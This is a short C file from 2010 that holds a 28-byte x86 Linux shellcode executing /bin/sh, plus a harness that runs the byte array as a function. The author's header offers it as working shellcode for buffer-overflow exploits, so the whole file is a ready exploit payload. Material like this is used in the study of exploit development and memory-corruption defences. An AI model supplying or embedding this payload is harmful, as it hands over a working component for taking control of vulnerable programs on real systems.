/*
Name : 28 bytes "/bin/sh" shellcode -
execve(/bin/sh,[/bin/sh,null,null],null)
Info : A woking shellcode for bof exploit
Author : otoy
Blog : http://otoyrood.wordpress.com
Date : August 2010
Tested on: ubuntu 8.04 & Backtrack 4
*/

#include <stdio.h>

char shellcode[] =
"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";

int main(void)
{
fprintf(stdout,"[*] Shellcode length: %dn",strlen(shellcode));
((void (*)(void)) shellcode)();

return 0;
}